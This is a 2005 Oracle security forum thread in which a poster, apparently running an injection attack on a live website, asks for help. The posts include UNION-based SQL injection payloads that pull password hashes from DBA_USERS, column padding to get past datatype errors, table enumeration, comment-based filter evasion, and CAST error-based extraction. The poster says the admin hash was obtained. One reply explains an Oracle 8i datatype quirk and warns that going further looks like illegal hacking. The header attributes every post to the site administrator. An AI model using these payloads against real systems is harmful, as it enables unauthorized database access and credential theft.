Author |
Topic: oracle sql injection pen test help (Read 9459 times) |
|
Pete Finnigan
PeteFinnigan.com Administrator
    

Oracle Security is easier if you design for it
View Profile | WWW | Email
Gender: 
Posts: 309
|
 |
oracle sql injection pen test help
« on: Nov 29th, 2005, 9:45pm » |
Quote | Modify
|
hey guys iam making a pen test on oracle server and i need little help,i try to inject a sql injections commands example:union select password from dba_users-- and then i get the error message: ORA-01789: query block has incorrect number of result columns so i put the right columns: union select password,1,1,1,1,1,1,1,1,1 from dba_users-- and then i get the message: ORA-01790: expression must have same datatype as corresponding expression so i try to replace 1 to NULL example: union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL but still not working!!!,its gave me the same error,maybe in oracle its not like ms sql you cant put NULL if you want that all the datatype will match,so my question is: what i need to do if i want to figure out the datatype of the columns beacuse This shows that the not only the number of columns needs to be the same but also the data types have to be the same. i cant brute force a 12 columns,its will take month and maybe years. i need to figure out the datatype of each columns,and i dont know how there is any trick?? or tips ?? please help thanks alot limor. limor188@walla.co.il
|
|
IP Logged |
Pete Finnigan (email:pete@petefinnigan.com) Oracle Security Web site: http://www.petefinnigan.com Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
|
|
|
Pete Finnigan
PeteFinnigan.com Administrator
    

Oracle Security is easier if you design for it
View Profile | WWW | Email
Gender: 
Posts: 309
|
 |
Re: oracle sql injection pen test help
« Reply #2 on: Nov 30th, 2005, 6:25am » |
Quote | Modify
|
hey thanks for your answer but,i try to replace 1 to Null example:union select password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dba_users-- and still get the same error RA-01790: expression must have same datatype as corresponding expression . anyway i cant check each 12 columns datatypes its will take a months,maybe a years. you give me example with 3 columns,but i have 12 columns ,so my question if there is some way to know each column datatype or another trick to "bypass" the errror message that say:expression must have same datatype as corresponding expression . please help thanks alot limor
|
|
IP Logged |
Pete Finnigan (email:pete@petefinnigan.com) Oracle Security Web site: http://www.petefinnigan.com Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
|
|
|
Pete Finnigan
PeteFinnigan.com Administrator
    

Oracle Security is easier if you design for it
View Profile | WWW | Email
Gender: 
Posts: 309
|
 |
Re: oracle sql injection pen test help
« Reply #4 on: Nov 30th, 2005, 7:59am » |
Quote | Modify
|
anyway i try to put a NULL on all the columns example:%20union%20select%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL L,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%dual-- and still get the error: java.sql.SQLException: ORA-01790: expression must have same datatype as corresponding expression any ideas?
|
|
IP Logged |
Pete Finnigan (email:pete@petefinnigan.com) Oracle Security Web site: http://www.petefinnigan.com Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
|
|
|
Pete Finnigan
PeteFinnigan.com Administrator
    

Oracle Security is easier if you design for it
View Profile | WWW | Email
Gender: 
Posts: 309
|
 |
Re: oracle sql injection pen test help
« Reply #5 on: Nov 30th, 2005, 6:19pm » |
Quote | Modify
|
hey guys,i found another injection with only 2 columns:union select password,1 from dba_users-- and i was able to collect the admin hash,anyway i try to put another tablename not table (dba_users) example:union select username,1 from users-- and i get the error message: java.lang.StringIndexOutOfBoundsException: String index out of range: -2 and i try to collect table names from user_tables,example: union select table_name,1 from user_tables-- and i get the error:java.lang.StringIndexOutOfBoundsException: String index out of range: -5 why i get this errors???,any tricks to bypass this error??,any ideas?? please help me thanks again limor
|
|
IP Logged |
Pete Finnigan (email:pete@petefinnigan.com) Oracle Security Web site: http://www.petefinnigan.com Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
|
|
|
Pete Finnigan
PeteFinnigan.com Administrator
    

Oracle Security is easier if you design for it
View Profile | WWW | Email
Gender: 
Posts: 309
|
 |
Re: oracle sql injection pen test help
« Reply #6 on: Dec 1st, 2005, 11:18pm » |
Quote | Modify
|
SELECT SYSDATE,1,'a' FROM dual UNION SELECT NULL,NULL,NULL FROM dual Works in 9iR2 and 10GR2 but in 8i gives the error : ORA-01790: expression must have same datatype as corresponding expression. The fact that you've found an SQL Injection route and that there is access to DBA_USERS is 'enough' for a penetration test. Anything else is almost certainly plain and simple (and illegal) hacking. It looks like you are trying to hack an 8i database.
|
|
IP Logged |
Pete Finnigan (email:pete@petefinnigan.com) Oracle Security Web site: http://www.petefinnigan.com Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
|
|
|
Pete Finnigan
PeteFinnigan.com Administrator
    

Oracle Security is easier if you design for it
View Profile | WWW | Email
Gender: 
Posts: 309
|
 |
Re: oracle sql injection pen test help
« Reply #7 on: Dec 2nd, 2005, 6:48pm » |
Quote | Modify
|
hey gamyers,first of all thanks again and second,iam doing a pen test on a client so i want to show him more features not only dba_users hash,anyway i was able to find another injection on the website that return me all the data,example:union select table_name from user_tables,now its working. second i want to know if you have any ideas,if some site filter the word:union select,do you have any ideas of signature evasion??? i know the comment trick to bypass but do you have more ideas to bypass signature evasion??? comments trick: /**/UNION/**/SELECT/**/table_name from user_tables-- another question:i was try to get data from the database using cast,example: ID=(select cast(username AS int)from all_users)-- but its give me the error:ORA-01722: invalid number ,then i was try to replace the int datatype with integer,and its still give me the same error?? why???,please answer to my questions,thanks alot limor
|
|
IP Logged |
Pete Finnigan (email:pete@petefinnigan.com) Oracle Security Web site: http://www.petefinnigan.com Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
|
|
|
|